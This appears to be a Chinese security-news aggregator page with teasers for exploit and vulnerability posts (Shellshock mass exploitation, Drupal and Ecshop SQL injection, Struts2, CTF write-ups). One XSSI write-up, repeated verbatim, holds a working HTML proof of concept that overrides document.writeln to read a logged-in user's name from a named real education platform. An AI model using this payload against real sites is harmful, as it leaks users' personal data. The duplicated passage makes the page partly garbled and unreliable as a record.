【胖猴小玩闹】Part 8：果加智能门锁的全面分析（下）
经过之前两篇的铺垫，在最后一篇果加门锁的分析文章中，我们将进一步对门锁固件进行分析，并分享一个在门锁固件发现的问题
Aggregator
不知道写什么之看个漫画（一）
4 years 9 months ago
又被人催稿了，写安全不知道写什么，写历史没有动力，主要最近空闲时间都在看漫画或者打游戏，那就写个漫画吧。
Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本
4 years 9 months ago
Bash远程代码执行漏洞的威力确实要比心脏滴血大很多，但是影响范围不是很广泛，不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。
其中最最简单的方法就是使用搜索引擎的hacking技术，这里我使用的Google Hacking语法结合Google API来进行链接的抓取。只不过在国内的话。。。。需要加代理。
程序中的代理是我本地的goagent代理，端口是8087。如何...
u011721501
Ecshop支付宝插件SQL注入及漏洞利用(exp)
4 years 9 months ago
0x00
在\includes\modules\payment\alipay.php文件中，有一个response函数用来处理支付信息，在ECSHOP的init初始化文件中，默认是做了全局转义的，而这个漏洞的精髓在于绕过全局转义。
在$order_sn=str_replace($_GET['subject'],'',$_GET['out_trade_no']);中...
u011721501
Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路
4 years 9 months ago
今日爆出一个Bash的RCE漏洞，威力巨大。看了看老外的分析，觉得有必要写一写自己对这个漏洞的理解。
首先，问题起因于一个命令ENV。
原型：
env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
Man是这么说的：
Display, set, or remove environment variables,Run a comm...
u011721501
Drupal 7.31 SQL注入分析及POC
4 years 9 months ago
这个漏洞昨天爆出的，今天才有时间看代码。
在Drupal中，执行sql语句都是使用PDO模型进行的，这样做一般来说是可以规避大多数的注入，因为占位符的使用对sql语句的语法进行了限制。
但是这也不意味着绝对的安全，比如这次的漏洞。
在Drupal的user模块中，找到user.module：
$account = db_query("SELECT * FROM {users} WHER...
u011721501
Struts2漏洞分析与研究之Ognl机制探讨
4 years 9 months ago
转载请注明出处谢谢：http://blog.csdn.net/u011721501?viewmode=list
0、前言
最近专业实训上需要添加一个struts2的批量利用程序，倒腾半天，我发现我对struts2系列的漏洞根本就不懂，用是会用，但是对我来说还是不够，网上也没有什么好的分析文章来老老实实分析每一个细节。所以我这里就结合每天的研究写一些博客share出来。这是第一篇，也是昨天研究的...
u011721501
Drupal 7.31 SQL注入漏洞利用详解及EXP
4 years 9 months ago
有意迟几天放出来这篇文章以及程序，不过看样子Drupal的这个洞没有引起多少重视，所以我也没有必要按着不发了，不过说实话这个洞威力挺大的，当然，这也是Drupal本身没有意料到的。
0x00
首先，这个漏洞真的很大，而且Drupal用的也比较多，应该可以扫出很多漏洞主机，但是做批量可能会对对方网站造成很大的损失，所以我也就只是写个Exp。不过，这个洞好像不怎么被重视，这也是极为不合适。...
u011721501
Struts2漏洞分析与研究之S2-005漏洞分析
4 years 9 months ago
转载请注明出处：http://blog.csdn.net/u011721501?viewmode=list
1、概述
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号，S2-003对#号进行过滤，但是没有考虑到unicode编码情况，导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配...
u011721501
Struts2漏洞之S2-016漏洞分析与exp编写
4 years 9 months ago
1、概述
S2-016是13年7月爆出的，那时候的我还没涉及Web安全研究。这次迟到的分析也算是对过去的补充。这个漏洞影响了Struts 2.3.15.1之前的所有版本。问题主要出在对于特殊URL处理中，redirect与redirectAction后面跟上Ognl表达式会被服务器执行。
2、漏洞分析
分析开源框架的漏洞还是从其源码入手，问题出在了DefaultActiion...
u011721501
OpenNMS 远程命令执行
4 years 9 months ago
OpenNMS是一款企业级基于Java开发的分布式监控系统
Is the Cloud Safe? Thinking About the Cloud Through a Security Lens
4 years 9 months ago
The shift to cloud-based services doesn't eliminate risk, and it doesn't mean the risk becomes someone else's problem. F5 Labs' Ray Pompon writes for Data Centre Review Magazine, discussing the specific strategies you can take to keep your cloud safe.
用SASE加速零信任网络交付
4 years 9 months ago
网络和安全从来就不是孤立的，SASE融合了网络能力和安全能力，可以加速零信任网络的交付。
World Password Day 2020
4 years 9 months ago
Are Your Password Habits Keeping You Safe Online? Learning how to navigate our entire lives online has definitely been a...
The post World Password Day 2020 appeared first on McAfee Blog.
Alex Merton-McCann
图解HTTPS原理
4 years 9 months ago
0x01 存在即合理http是非常常见的应用层协议，是超文本传输协议的简称，其传输的内容都是明文的。在这个混乱的世界，明文传输信息想想就可怕，网络“小混混”的手段远比我们这些凡人高明得多，他们有...
独自等待
安卓pwn - De1taCTF(BroadcastTest)
4 years 9 months ago
BroadcastTest
背景
逆向APK可知程序中仅有MainActivity$Message和三个Receiver类。
前者实现了一个Parcelable类，后三个则是广播。
其中Receiver1是export的，接收并向Receiver2发送广播，Receiver2和3则非export，只能接收内部发送的广播。
功能为Receiver1接收base64传入的data，然后将其反序列化得到...
whklhhhh
Demystifying API Attacks Using Gamification
4 years 9 months ago
Learn about authentication, authorization, and security misconfiguration in API compromises by exploring this capture-the-flag game.
CVE-2020-11651 SaltStack远程命令执行漏洞
4 years 9 months ago
SaltStack漏洞背景国外安全团队(F-Secure) 发现多了SaltStack漏洞，其中最严重的两个
【有趣的XSSI漏洞】梦中发现某网课平台信息泄露漏洞
4 years 9 months ago
0x00 Disclaimer
由于coronavirus的影响，学校安排我们上网课，可能是由于学习太累，做梦都梦到了上网课了，而且还梦到了一个漏洞百出的网课平台。最近我梦到发现了一个非常有趣的漏洞,在我在梦中发现的这个平台的大大小小的漏洞中，这个虽然不是最严重的，但是是最有趣的。
幸好在做梦的时候还顺手截了图，这才能够跟大家分享。本文所述内容纯属意淫，如果您在现实生活中碰到了长得相似的系统那完全是巧合，和本人一丢丢关系都没有
0x01 漏洞发现 在睡梦中闲来无事抓个包，发现包里面居然有很好玩的内容
什么，一个疑似JS的文件里面包含了我的名字？
赶快翻上去header，发现了这个
这说明了什么？这个头指示浏览器把这个请求回来的东西当作JS代码，由于JS可以允许跨域，攻击者可以在html中精心构造JS来访问这些信息 0x02 漏洞原理成因背景 笔者很懒惰，发现先知社区讲的更好，就直接贴上链接了：https://xz.aliyun.com/t/7204
0x03 漏洞POC编写 这里面所有的信息都是被document.writeln包裹起来了，但是我们可以通过覆盖这个函数实现获取信息而不是傻乎乎地把信息写在页面上。基于这一点，我们可以很容易地写出POC代码 <!DOCTYPE html> <head> <meta charset="UTF-8"> <title>！！！</title> </head> <body> <h1 id="msg" style="color:red"></h1> <script> name='' islogin=1; document.writeln=function(text) { match=text.match(/zt_u_name">(.*?)</) if(match !==null) { name=match[1]; } if(text.search("http://passport2.chaoxing.com/wlogin")!==-1) islogin=0; } </script> <script src="https://3wfy-ans.chaoxing.com/passport/allHead.shtml"> </script> <script> if(islogin) msg="X星XX通并不存在什么信息泄露漏洞。是吧,"+name+"同学?"; else msg="你还没有登陆X星XX通，这我还怎么装逼啊？" document.getElementById('msg').innerText=msg </script> </body> </html> POC实测效果：
源码懒得放在github了，想要的自己复制自己玩
0x04 对漏洞的一些思考 或许可以整个扫描器，搞多个不同的用户，爬取后对比JS区别，自动化发掘这种洞？ 又或者像个办法来自动搜集JS里面的敏感信息？
幸好在做梦的时候还顺手截了图，这才能够跟大家分享。本文所述内容纯属意淫，如果您在现实生活中碰到了长得相似的系统那完全是巧合，和本人一丢丢关系都没有
0x01 漏洞发现 在睡梦中闲来无事抓个包，发现包里面居然有很好玩的内容
什么，一个疑似JS的文件里面包含了我的名字？
赶快翻上去header，发现了这个
这说明了什么？这个头指示浏览器把这个请求回来的东西当作JS代码，由于JS可以允许跨域，攻击者可以在html中精心构造JS来访问这些信息 0x02 漏洞原理成因背景 笔者很懒惰，发现先知社区讲的更好，就直接贴上链接了：https://xz.aliyun.com/t/7204
0x03 漏洞POC编写 这里面所有的信息都是被document.writeln包裹起来了，但是我们可以通过覆盖这个函数实现获取信息而不是傻乎乎地把信息写在页面上。基于这一点，我们可以很容易地写出POC代码 <!DOCTYPE html> <head> <meta charset="UTF-8"> <title>！！！</title> </head> <body> <h1 id="msg" style="color:red"></h1> <script> name='' islogin=1; document.writeln=function(text) { match=text.match(/zt_u_name">(.*?)</) if(match !==null) { name=match[1]; } if(text.search("http://passport2.chaoxing.com/wlogin")!==-1) islogin=0; } </script> <script src="https://3wfy-ans.chaoxing.com/passport/allHead.shtml"> </script> <script> if(islogin) msg="X星XX通并不存在什么信息泄露漏洞。是吧,"+name+"同学?"; else msg="你还没有登陆X星XX通，这我还怎么装逼啊？" document.getElementById('msg').innerText=msg </script> </body> </html> POC实测效果：
源码懒得放在github了，想要的自己复制自己玩
0x04 对漏洞的一些思考 或许可以整个扫描器，搞多个不同的用户，爬取后对比JS区别，自动化发掘这种洞？ 又或者像个办法来自动搜集JS里面的敏感信息？
DriverTom
High level privacy and security design for NHS COVID-19 contact tracing app
4 years 9 months ago
NCSC technical paper about the privacy and security design of the NHS contact tracing app developed to help slow the spread of coronavirus.